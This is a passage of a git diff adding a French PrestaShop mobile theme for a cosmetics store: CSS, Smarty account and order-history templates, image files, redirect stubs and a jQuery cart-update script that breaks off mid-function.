clear:both; +} +#barreMap label{ + float:left; + width:327px; + height:25px; + line-height:25px; + font-weight:bold; + font-size:14px; + text-transform:uppercase; +} +#barreMap input.inputTextMini161, +#barreMap input.inputTextMini291{ + background: url("../img/inputTextMini291.png") no-repeat scroll 0 0 transparent; + border: 0 none; + color: #000000; + font-size: 13px; + height: 25px; + line-height: 14px; + margin: 0 20px 0 0; + padding: 0 8px; + width: 289px; +} +#barreMap input.inputTextMini161{ + margin:0; + width: 184px; + background: url("../img/inputTextMini161.png") no-repeat scroll 0 0 transparent; +} +#barreMap .button{ + float:right; + width:107px; + height:23px; + color:#ffffff; + background:url('../img/mrSubmit.png') no-repeat 0 0; + border:0; + margin:0; + padding:0; + text-align:center; +} +body .sf-menu li li a{ + text-transform:none; +} + +.boxPartage{ + width:300px; + height:80px; + border:1px solid #000000; + text-align:center; + padding:0px 0px 0; + margin:10px 20px 0px 0; + float:left; +} +.boxPartage p{ + font-size:11px; + padding:10px 0 0; + clear:both; +} +.boxPartage.item3{ + width:264px; + height:60px; + padding:20px 20px 0; + float:right; + margin:10px 0 0; +} +.boxPartage.item1 a{ + display:block; + width:260px; + line-height:30px; + padding:50px 20px 0; + height:30px; + text-align:center; + background:url('../img/imprimerDiag.png') no-repeat center 17px; +} +.boxPartage.item2 a{ + display:block; + width:260px; + line-height:30px; + padding:50px 20px 0; + height:30px; + text-align:center; + text-transform:uppercase; + background:url('../img/mailDiag.png') no-repeat center 17px; +} +#fancybox-content p{ +font-size:14px; +line-height:20px; +} +#diagnostic #fancybox-content{width:auto!important;} + +#index .bx-prev, +#index .bx-next{ + + height:410px!important; +} +#index #gallery, +#index #gallery .rubrique, +#index #sliderHome{ + height:410px!important; + width:1280px!important; + margin:0!important; +} +#module-paypal-submit.hide-left-column #center_column{ + width:100%; +} + +div.header_wrapper{ + background:#000; + border-bottom:1px solid #333; +} + +div.header_wrapper #header .sf-right{ + display:none; +} + +/* MODULE BLOCK CONSTRUCTOR */ +.block-block-constructor{ + margin-bottom: 10px; +} + +/* BLOG */ +.psblog_title a.psblog_title-inner, +.psblog_title a:visited.psblog_title-inner + { + text-transform: uppercase; +} + +div.share .details a { + color: white; +} diff --git a/themes/default/_mobile/header.tpl b/themes/default/_mobile/header.tpl new file mode 100755 index 0000000..b31253f --- /dev/null +++ b/themes/default/_mobile/header.tpl @@ -0,0 +1,124 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + {$meta_title|escape:'htmlall':'UTF-8'} + + {**} +{if isset($meta_description) AND $meta_description} + +{/if} +{if isset($meta_keywords) AND $meta_keywords} + +{/if} + + + + + + + +{if isset($css_files)} + {foreach from=$css_files key=css_uri item=media} + + {/foreach} +{/if} + + +{if isset($js_files)} + {foreach from=$js_files item=js_uri} + + {/foreach} +{/if} + {$HOOK_MOBILE_HEADER} + + + + + + + +
        + +
        + +
        + \ No newline at end of file diff --git a/themes/default/_mobile/history.tpl b/themes/default/_mobile/history.tpl new file mode 100755 index 0000000..e0a4394 --- /dev/null +++ b/themes/default/_mobile/history.tpl @@ -0,0 +1,74 @@ + + +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='Historique des commandes'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +{include file="$tpl_dir./errors.tpl"} +
        +

        [{l s='Historique des commandes'}]

        + +{if $slowValidation}

        {l s='If you have just placed an order, it may take a few minutes for it to be validated. Please refresh this page if your order is missing.'}

        {/if} + +
        + {if $orders && count($orders)} + + + + + + + + + + + + + {foreach from=$orders item=order name=myLoop} + + + + + + + + + {/foreach} + +
        {l s='Order reference'}{l s='Date'}{l s='Total price'}{l s='Payment: '}{l s='Status'}{l s='Invoice'}
        {dateFormat date=$order.date_add full=0}{displayPrice price=$order.total_paid currency=$order.id_currency no_utf8=false convert=false}{$order.payment|escape:'htmlall':'UTF-8'}{if isset($order.order_state)}{$order.order_state|escape:'htmlall':'UTF-8'}{/if} + {if (isset($order.invoice) && $order.invoice && isset($order.invoice_number) && $order.invoice_number) && isset($invoiceAllowed) && $invoiceAllowed == true} + {l s='Invoice'} + {else}- - -{/if} +
        + + {else} +

        {l s='You have not placed any orders.'}

        + {/if} +
        +
        \ No newline at end of file diff --git a/themes/default/_mobile/identity.tpl b/themes/default/_mobile/identity.tpl new file mode 100755 index 0000000..63c86db --- /dev/null +++ b/themes/default/_mobile/identity.tpl @@ -0,0 +1,136 @@ + +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='Mes informations personnelles'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{l s='Mes informations personnelles'}]

        + +{include file="$tpl_dir./errors.tpl"} + +{if isset($confirmation) && $confirmation} +

        + {l s='Your personal information has been successfully updated.'} + {if isset($pwd_changed)}
        {l s='Your password has been sent to your email:'} {$email}{/if} +

        +{/if} + +
        +
        +
        + {foreach from=$genders key=k item=gender} + {if $gender->id==2}id} checked="checked"{/if} /> + {/if} + {/foreach} + {foreach from=$genders key=k item=gender} + {if $gender->id==3}id} checked="checked"{/if} /> + {/if} + {/foreach} + {foreach from=$genders key=k item=gender} + {if $gender->id==1}id} checked="checked"{/if} /> + {/if} + {/foreach} +
        +
        + + +
        +
        + + +
        +
        + + + +
        {l s='Si vous voulez modifier votre date de naissance, contactez-nous au 01.45.20.73.65'} +
        +
        +
        +

        {l s='Modifier mon mot de passe'}

        +
        + + +
        +
        + + +
        +
        + + +
        + +

        {l s='Modifier mon email'}

        +
        + + {$smarty.post.email} + +
        +
        + + +
        +
        + + +
        +
        +
        +

        {l s='Modifier mon abonnement à la newsletter'}

        +
        {l s='Je souhaites recevoir la newsletter, les offres promotionnelles et les'}
        {l s='avant-première du Laboratoire Garancia'}
        + {if $newsletter} +
        + + +
        + {/if} +

        {l s='Les informations personnelles vous concernant et collectées dans le cadre du présent site internet sont destinées au Laboratoire Garancia afin de vous fournir les services souscrits. Ces données seront également stockées par le Laboratoire Garancia pour lui permettre de vous adresser des offres commerciales sur ses produits et services, ainsi que pour vous faire profiter du programme de fidélité du Laboratoire Garancia.'}
        {l s='Conformément à la loi Informatiques et Libertés du 6 janvier 1978, vous bénéficiez d\'un droit d\'accès, de rectification et de suppression des données personnelles qui vous concernent. Vous pouvez exercer ces droits en nous écrivant par mail ou à l\'adresse suivante: Laboratoire Garancia, 18 Avenue du Recteur Poincaré – 75016 PARIS, à laquelle vous pouvez également exercer votre droit d\'opposition à recevoir des offres commerciales. Ce droit vous sera également offert à la réception de tout message.'}

        +
        + +
        + +
        +
        +
        diff --git a/themes/default/_mobile/img/EchantillonTitreProduit.png b/themes/default/_mobile/img/EchantillonTitreProduit.png new file mode 100755 index 0000000..d30474d Binary files /dev/null and b/themes/default/_mobile/img/EchantillonTitreProduit.png differ diff --git a/themes/default/_mobile/img/ajax-loader.gif b/themes/default/_mobile/img/ajax-loader.gif new file mode 100755 index 0000000..fd1a189 Binary files /dev/null and b/themes/default/_mobile/img/ajax-loader.gif differ diff --git a/themes/default/_mobile/img/ajax-loader.png b/themes/default/_mobile/img/ajax-loader.png new file mode 100755 index 0000000..13b208d Binary files /dev/null and b/themes/default/_mobile/img/ajax-loader.png differ diff --git a/themes/default/_mobile/img/bgEspacepharmaciens.jpg b/themes/default/_mobile/img/bgEspacepharmaciens.jpg new file mode 100755 index 0000000..9cbbc7b Binary files /dev/null and b/themes/default/_mobile/img/bgEspacepharmaciens.jpg differ diff --git a/themes/default/_mobile/img/bg_maintenance.png b/themes/default/_mobile/img/bg_maintenance.png new file mode 100755 index 0000000..f95c88e Binary files /dev/null and b/themes/default/_mobile/img/bg_maintenance.png differ diff --git a/themes/default/_mobile/img/blocPhilosophie.png b/themes/default/_mobile/img/blocPhilosophie.png new file mode 100755 index 0000000..bc02ccc Binary files /dev/null and b/themes/default/_mobile/img/blocPhilosophie.png differ diff --git a/themes/default/_mobile/img/btPaypal_mobile.png b/themes/default/_mobile/img/btPaypal_mobile.png new file mode 100755 index 0000000..6d1d7b0 Binary files /dev/null and b/themes/default/_mobile/img/btPaypal_mobile.png differ diff --git a/themes/default/_mobile/img/button247.png b/themes/default/_mobile/img/button247.png new file mode 100755 index 0000000..b41cd38 Binary files /dev/null and b/themes/default/_mobile/img/button247.png differ diff --git a/themes/default/_mobile/img/checkbox_no.jpg b/themes/default/_mobile/img/checkbox_no.jpg new file mode 100755 index 0000000..aab39d1 Binary files /dev/null and b/themes/default/_mobile/img/checkbox_no.jpg differ diff --git a/themes/default/_mobile/img/checkbox_off.png b/themes/default/_mobile/img/checkbox_off.png new file mode 100755 index 0000000..f0bb30f Binary files /dev/null and b/themes/default/_mobile/img/checkbox_off.png differ diff --git a/themes/default/_mobile/img/checkbox_ok.jpg b/themes/default/_mobile/img/checkbox_ok.jpg new file mode 100755 index 0000000..0a30de6 Binary files /dev/null and b/themes/default/_mobile/img/checkbox_ok.jpg differ diff --git a/themes/default/_mobile/img/checkbox_on.png b/themes/default/_mobile/img/checkbox_on.png new file mode 100755 index 0000000..5830079 Binary files /dev/null and b/themes/default/_mobile/img/checkbox_on.png differ diff --git a/themes/default/_mobile/img/diag-black-star.png b/themes/default/_mobile/img/diag-black-star.png new file mode 100755 index 0000000..85c9517 Binary files /dev/null and b/themes/default/_mobile/img/diag-black-star.png differ diff --git a/themes/default/_mobile/img/diag-checkbox-checked.png b/themes/default/_mobile/img/diag-checkbox-checked.png new file mode 100755 index 0000000..199bd41 Binary files /dev/null and b/themes/default/_mobile/img/diag-checkbox-checked.png differ diff --git a/themes/default/_mobile/img/diag-checkbox.png b/themes/default/_mobile/img/diag-checkbox.png new file mode 100755 index 0000000..345385e Binary files /dev/null and b/themes/default/_mobile/img/diag-checkbox.png differ diff --git a/themes/default/_mobile/img/diagFlecheSmall.png b/themes/default/_mobile/img/diagFlecheSmall.png new file mode 100755 index 0000000..1179a72 Binary files /dev/null and b/themes/default/_mobile/img/diagFlecheSmall.png differ diff --git a/themes/default/_mobile/img/diagnosticSteps.png b/themes/default/_mobile/img/diagnosticSteps.png new file mode 100755 index 0000000..5e57fef Binary files /dev/null and b/themes/default/_mobile/img/diagnosticSteps.png differ diff --git a/themes/default/_mobile/img/etoileLi.png b/themes/default/_mobile/img/etoileLi.png new file mode 100755 index 0000000..0154900 Binary files /dev/null and b/themes/default/_mobile/img/etoileLi.png differ diff --git a/themes/default/_mobile/img/fancyboxClose.png b/themes/default/_mobile/img/fancyboxClose.png new file mode 100755 index 0000000..82339dd Binary files /dev/null and b/themes/default/_mobile/img/fancyboxClose.png differ diff --git a/themes/default/_mobile/img/flecheMobileSelect.png b/themes/default/_mobile/img/flecheMobileSelect.png new file mode 100755 index 0000000..7059914 Binary files /dev/null and b/themes/default/_mobile/img/flecheMobileSelect.png differ diff --git a/themes/default/_mobile/img/flecheMyAccount.png b/themes/default/_mobile/img/flecheMyAccount.png new file mode 100755 index 0000000..177bbb9 Binary files /dev/null and b/themes/default/_mobile/img/flecheMyAccount.png differ diff --git a/themes/default/_mobile/img/flecheSubmit.png b/themes/default/_mobile/img/flecheSubmit.png new file mode 100755 index 0000000..ef3ad6a Binary files /dev/null and b/themes/default/_mobile/img/flecheSubmit.png differ diff --git a/themes/default/_mobile/img/fleche_left.png b/themes/default/_mobile/img/fleche_left.png new file mode 100755 index 0000000..4c044b5 Binary files /dev/null and b/themes/default/_mobile/img/fleche_left.png differ diff --git a/themes/default/_mobile/img/fleche_plus.png b/themes/default/_mobile/img/fleche_plus.png new file mode 100755 index 0000000..53e127b Binary files /dev/null and b/themes/default/_mobile/img/fleche_plus.png differ diff --git a/themes/default/_mobile/img/fnodH3.png b/themes/default/_mobile/img/fnodH3.png new file mode 100755 index 0000000..b0df65c Binary files /dev/null and b/themes/default/_mobile/img/fnodH3.png differ diff --git a/themes/default/_mobile/img/fondH3.jpg b/themes/default/_mobile/img/fondH3.jpg new file mode 100755 index 0000000..cba9790 Binary files /dev/null and b/themes/default/_mobile/img/fondH3.jpg differ diff --git a/themes/default/_mobile/img/fondH3.png b/themes/default/_mobile/img/fondH3.png new file mode 100755 index 0000000..715f220 Binary files /dev/null and b/themes/default/_mobile/img/fondH3.png differ diff --git a/themes/default/_mobile/img/footerPharmacie.png b/themes/default/_mobile/img/footerPharmacie.png new file mode 100755 index 0000000..cfb65a6 Binary files /dev/null and b/themes/default/_mobile/img/footerPharmacie.png differ diff --git a/themes/default/_mobile/img/footerSocial.png b/themes/default/_mobile/img/footerSocial.png new file mode 100755 index 0000000..8cd3e29 Binary files /dev/null and b/themes/default/_mobile/img/footerSocial.png differ diff --git a/themes/default/_mobile/img/footerSpacer.png b/themes/default/_mobile/img/footerSpacer.png new file mode 100755 index 0000000..12c2881 Binary files /dev/null and b/themes/default/_mobile/img/footerSpacer.png differ diff --git a/themes/default/_mobile/img/headerInfosMobile.png b/themes/default/_mobile/img/headerInfosMobile.png new file mode 100755 index 0000000..2cf099b Binary files /dev/null and b/themes/default/_mobile/img/headerInfosMobile.png differ diff --git a/themes/default/_mobile/img/homeTxt.png b/themes/default/_mobile/img/homeTxt.png new file mode 100755 index 0000000..0a992e0 Binary files /dev/null and b/themes/default/_mobile/img/homeTxt.png differ diff --git a/themes/default/_mobile/img/homeTxtA.png b/themes/default/_mobile/img/homeTxtA.png new file mode 100755 index 0000000..f59a739 Binary files /dev/null and b/themes/default/_mobile/img/homeTxtA.png differ diff --git a/themes/default/_mobile/img/homeblock2.png b/themes/default/_mobile/img/homeblock2.png new file mode 100755 index 0000000..52dbf7b Binary files /dev/null and b/themes/default/_mobile/img/homeblock2.png differ diff --git a/themes/default/_mobile/img/homeblockFleche1.png b/themes/default/_mobile/img/homeblockFleche1.png new file mode 100755 index 0000000..4774915 Binary files /dev/null and b/themes/default/_mobile/img/homeblockFleche1.png differ diff --git a/themes/default/_mobile/img/homeblockFleche2.png b/themes/default/_mobile/img/homeblockFleche2.png new file mode 100755 index 0000000..470bd3b Binary files /dev/null and b/themes/default/_mobile/img/homeblockFleche2.png differ diff --git a/themes/default/_mobile/img/hook_paiement_module.png b/themes/default/_mobile/img/hook_paiement_module.png new file mode 100755 index 0000000..da2974b Binary files /dev/null and b/themes/default/_mobile/img/hook_paiement_module.png differ diff --git a/themes/default/_mobile/img/icon/addrbook.png b/themes/default/_mobile/img/icon/addrbook.png new file mode 100755 index 0000000..b97ef76 Binary files /dev/null and b/themes/default/_mobile/img/icon/addrbook.png differ diff --git a/themes/default/_mobile/img/icon/favorite.png b/themes/default/_mobile/img/icon/favorite.png new file mode 100755 index 0000000..fc648f2 Binary files /dev/null and b/themes/default/_mobile/img/icon/favorite.png differ diff --git a/themes/default/_mobile/img/icon/gift.png b/themes/default/_mobile/img/icon/gift.png new file mode 100755 index 0000000..e50d855 Binary files /dev/null and b/themes/default/_mobile/img/icon/gift.png differ diff --git a/themes/default/_mobile/img/icon/home.png b/themes/default/_mobile/img/icon/home.png new file mode 100755 index 0000000..f8e824a Binary files /dev/null and b/themes/default/_mobile/img/icon/home.png differ diff --git a/themes/default/_mobile/img/icon/index.php b/themes/default/_mobile/img/icon/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/_mobile/img/icon/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/_mobile/img/icon/my-account.png b/themes/default/_mobile/img/icon/my-account.png new file mode 100755 index 0000000..d09cce6 Binary files /dev/null and b/themes/default/_mobile/img/icon/my-account.png differ diff --git a/themes/default/_mobile/img/icon/order.png b/themes/default/_mobile/img/icon/order.png new file mode 100755 index 0000000..a5ff19c Binary files /dev/null and b/themes/default/_mobile/img/icon/order.png differ diff --git a/themes/default/_mobile/img/icon/return.png b/themes/default/_mobile/img/icon/return.png new file mode 100755 index 0000000..97c055a Binary files /dev/null and b/themes/default/_mobile/img/icon/return.png differ diff --git a/themes/default/_mobile/img/icon/slip.png b/themes/default/_mobile/img/icon/slip.png new file mode 100755 index 0000000..b9cbacd Binary files /dev/null and b/themes/default/_mobile/img/icon/slip.png differ diff --git a/themes/default/_mobile/img/icon/userinfos.png b/themes/default/_mobile/img/icon/userinfos.png new file mode 100755 index 0000000..a9f7a03 Binary files /dev/null and b/themes/default/_mobile/img/icon/userinfos.png differ diff --git a/themes/default/_mobile/img/icon/voucher.png b/themes/default/_mobile/img/icon/voucher.png new file mode 100755 index 0000000..6ba16db Binary files /dev/null and b/themes/default/_mobile/img/icon/voucher.png differ diff --git a/themes/default/_mobile/img/icons-18-black.png b/themes/default/_mobile/img/icons-18-black.png new file mode 100755 index 0000000..ce1b758 Binary files /dev/null and b/themes/default/_mobile/img/icons-18-black.png differ diff --git a/themes/default/_mobile/img/icons-18-white.png b/themes/default/_mobile/img/icons-18-white.png new file mode 100755 index 0000000..1ab0127 Binary files /dev/null and b/themes/default/_mobile/img/icons-18-white.png differ diff --git a/themes/default/_mobile/img/icons-36-black.png b/themes/default/_mobile/img/icons-36-black.png new file mode 100755 index 0000000..1a59d7c Binary files /dev/null and b/themes/default/_mobile/img/icons-36-black.png differ diff --git a/themes/default/_mobile/img/icons-36-white.png b/themes/default/_mobile/img/icons-36-white.png new file mode 100755 index 0000000..5647bdc Binary files /dev/null and b/themes/default/_mobile/img/icons-36-white.png differ diff --git a/themes/default/_mobile/img/img_cart.png b/themes/default/_mobile/img/img_cart.png new file mode 100755 index 0000000..2d1235c Binary files /dev/null and b/themes/default/_mobile/img/img_cart.png differ diff --git a/themes/default/_mobile/img/imprimerDiag.png b/themes/default/_mobile/img/imprimerDiag.png new file mode 100755 index 0000000..623208c Binary files /dev/null and b/themes/default/_mobile/img/imprimerDiag.png differ diff --git a/themes/default/_mobile/img/index.php b/themes/default/_mobile/img/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/_mobile/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/_mobile/img/inputMagasin.png b/themes/default/_mobile/img/inputMagasin.png new file mode 100755 index 0000000..f686490 Binary files /dev/null and b/themes/default/_mobile/img/inputMagasin.png differ diff --git a/themes/default/_mobile/img/inputText236.png b/themes/default/_mobile/img/inputText236.png new file mode 100755 index 0000000..d82b874 Binary files /dev/null and b/themes/default/_mobile/img/inputText236.png differ diff --git a/themes/default/_mobile/img/inputText388.jpg b/themes/default/_mobile/img/inputText388.jpg new file mode 100755 index 0000000..f0bb12b Binary files /dev/null and b/themes/default/_mobile/img/inputText388.jpg differ diff --git a/themes/default/_mobile/img/inputText388.png b/themes/default/_mobile/img/inputText388.png new file mode 100755 index 0000000..7d099a9 Binary files /dev/null and b/themes/default/_mobile/img/inputText388.png differ diff --git a/themes/default/_mobile/img/logo.png b/themes/default/_mobile/img/logo.png new file mode 100755 index 0000000..fa42593 Binary files /dev/null and b/themes/default/_mobile/img/logo.png differ diff --git a/themes/default/_mobile/img/logoMobile.png b/themes/default/_mobile/img/logoMobile.png new file mode 100755 index 0000000..110999e Binary files /dev/null and b/themes/default/_mobile/img/logoMobile.png differ diff --git a/themes/default/_mobile/img/mailDiag.png b/themes/default/_mobile/img/mailDiag.png new file mode 100755 index 0000000..43937c3 Binary files /dev/null and b/themes/default/_mobile/img/mailDiag.png differ diff --git a/themes/default/_mobile/img/moreless.png b/themes/default/_mobile/img/moreless.png new file mode 100755 index 0000000..9a8088f Binary files /dev/null and b/themes/default/_mobile/img/moreless.png differ diff --git a/themes/default/_mobile/img/opcSteps.png b/themes/default/_mobile/img/opcSteps.png new file mode 100755 index 0000000..3b19e23 Binary files /dev/null and b/themes/default/_mobile/img/opcSteps.png differ diff --git a/themes/default/_mobile/img/paiements_securises.png b/themes/default/_mobile/img/paiements_securises.png new file mode 100755 index 0000000..efb846b Binary files /dev/null and b/themes/default/_mobile/img/paiements_securises.png differ diff --git a/themes/default/_mobile/img/productFlecheVerte.png b/themes/default/_mobile/img/productFlecheVerte.png new file mode 100755 index 0000000..80e4888 Binary files /dev/null and b/themes/default/_mobile/img/productFlecheVerte.png differ diff --git a/themes/default/_mobile/img/px-ccc.gif b/themes/default/_mobile/img/px-ccc.gif new file mode 100755 index 0000000..da70aaf Binary files /dev/null and b/themes/default/_mobile/img/px-ccc.gif differ diff --git a/themes/default/_mobile/img/qtyWanted.jpg b/themes/default/_mobile/img/qtyWanted.jpg new file mode 100755 index 0000000..12f00fa Binary files /dev/null and b/themes/default/_mobile/img/qtyWanted.jpg differ diff --git a/themes/default/_mobile/img/radio_off.jpg b/themes/default/_mobile/img/radio_off.jpg new file mode 100755 index 0000000..02b240e Binary files /dev/null and b/themes/default/_mobile/img/radio_off.jpg differ diff --git a/themes/default/_mobile/img/radio_off.png b/themes/default/_mobile/img/radio_off.png new file mode 100755 index 0000000..c1f12cc Binary files /dev/null and b/themes/default/_mobile/img/radio_off.png differ diff --git a/themes/default/_mobile/img/radio_on.jpg b/themes/default/_mobile/img/radio_on.jpg new file mode 100755 index 0000000..5c47caa Binary files /dev/null and b/themes/default/_mobile/img/radio_on.jpg differ diff --git a/themes/default/_mobile/img/radio_on.png b/themes/default/_mobile/img/radio_on.png new file mode 100755 index 0000000..7294621 Binary files /dev/null and b/themes/default/_mobile/img/radio_on.png differ diff --git a/themes/default/_mobile/img/slider_home.png b/themes/default/_mobile/img/slider_home.png new file mode 100755 index 0000000..82ca6df Binary files /dev/null and b/themes/default/_mobile/img/slider_home.png differ diff --git a/themes/default/_mobile/img/step1.png b/themes/default/_mobile/img/step1.png new file mode 100755 index 0000000..d8842aa Binary files /dev/null and b/themes/default/_mobile/img/step1.png differ diff --git a/themes/default/_mobile/img/step2.png b/themes/default/_mobile/img/step2.png new file mode 100755 index 0000000..63e7bba Binary files /dev/null and b/themes/default/_mobile/img/step2.png differ diff --git a/themes/default/_mobile/img/step3.png b/themes/default/_mobile/img/step3.png new file mode 100755 index 0000000..c050aeb Binary files /dev/null and b/themes/default/_mobile/img/step3.png differ diff --git a/themes/default/_mobile/img/textarea388.jpg b/themes/default/_mobile/img/textarea388.jpg new file mode 100755 index 0000000..4addbd5 Binary files /dev/null and b/themes/default/_mobile/img/textarea388.jpg differ diff --git a/themes/default/_mobile/index.php b/themes/default/_mobile/index.php new file mode 100755 index 0000000..fd6bae0 --- /dev/null +++ b/themes/default/_mobile/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../'); +exit; \ No newline at end of file diff --git a/themes/default/_mobile/index.tpl b/themes/default/_mobile/index.tpl new file mode 100755 index 0000000..ff20c52 --- /dev/null +++ b/themes/default/_mobile/index.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + {hook h="DisplayHome"} + {*hook h="DisplayMobileIndex"} + {include file='./sitemap.tpl'*} \ No newline at end of file diff --git a/themes/default/_mobile/js/cart.js b/themes/default/_mobile/js/cart.js new file mode 100755 index 0000000..8075474 --- /dev/null +++ b/themes/default/_mobile/js/cart.js @@ -0,0 +1,112 @@ +$( '.prestashop-page' ).live( 'pageshow',function(event) +{ + var quantity = new Array(); + + $("[name='cart_product_id[]']").each(function(i){ + quantity[$(this).val()] = parseInt($('[name="product_cart_quantity_'+$(this).val()+'"]').val()); + }); + + $(".display_block_card_product").children().each(function(i){ + $(this).hide(); + }); + + $(".grouped_buttons_card").children().each(function(i){ + $(this).click(function(){ + $(".display_block_card_product").children().each(function(i){ + $(this).hide(); + }); + $("#"+$(this).attr('id')+"sheet").show(); + }); + }); + + $('[name*="product_cart_quantity_"]').change(function() + { + ids = $(this).attr("name").split('_'); + id = ids[3]; + val = parseInt($(this).val()); + + if (quantity[id] < val) + { + CartUpd.ajaxUpdQty(id, val - quantity[id], 1); + quantity[id] = val; + } + else if (quantity[id] > val) + { + CartUpd.ajaxUpdQty(id, quantity[id] - val, 0); + quantity[id] = val; + } + }); + + $('[id*="delete_cart_"]').click(function() + { + ids = $(this).attr("id").split('_'); + CartUpd.deleteProductFromSummary(ids[2]); + }); + +}); + +var CartUpd = (function() +{ + return { + ajaxUpdQty : function(id, qty, op) + { + productAttributeId = $("#cart_product_attribute_id_"+id).val(); + id_address_delivery = $("#cart_product_address_delivery_id_"+id).val(); + customizationId = 0; + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType: 'json', + data: 'controller=cart&ajax=true&add=true&getproductprice&summary&id_product='+id+'&ipa='+productAttributeId+'&id_address_delivery='+id_address_delivery+ ( op == 0 ? '&op=down' : '' ) + ( (customizationId != 0) ? '&id_customization='+customizationId : '') + '&qty='+qty+'&token=' + static_token , + success: function(jsonData) + { + if (!jsonData.hasError) + CartUpd.updData(jsonData); + } + }); + }, + deleteProductFromSummary : function(id) + { + productAttributeId = $("#cart_product_attribute_id_"+id).val(); + id_address_delivery = $("#cart_product_address_delivery_id_"+id).val(); + customizationId = 0; + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType: 'json', + data: 'controller=cart&ajax=true&delete=true&summary=true&id_product='+id+'&ipa='+productAttributeId+'&id_address_delivery='+id_address_delivery+ ( (customizationId != 0) ? '&id_customization='+customizationId : '') + '&token=' + static_token , + success: function(jsonData) + { + if (!jsonData.hasError) + { + if (jsonData.refresh) + location.reload(); + $("#cart_total_products").html(jsonData.summary.total_products_wt); + $("#cart_total_price").html(jsonData.summary.total_price); + $("#element_product_"+id).fadeOut(); + } + } + }); + } + , + updData : function(data) + { + var products = data.summary.products; + + $(products).each(function(i){ + price = this.price_wt * this.quantity; + 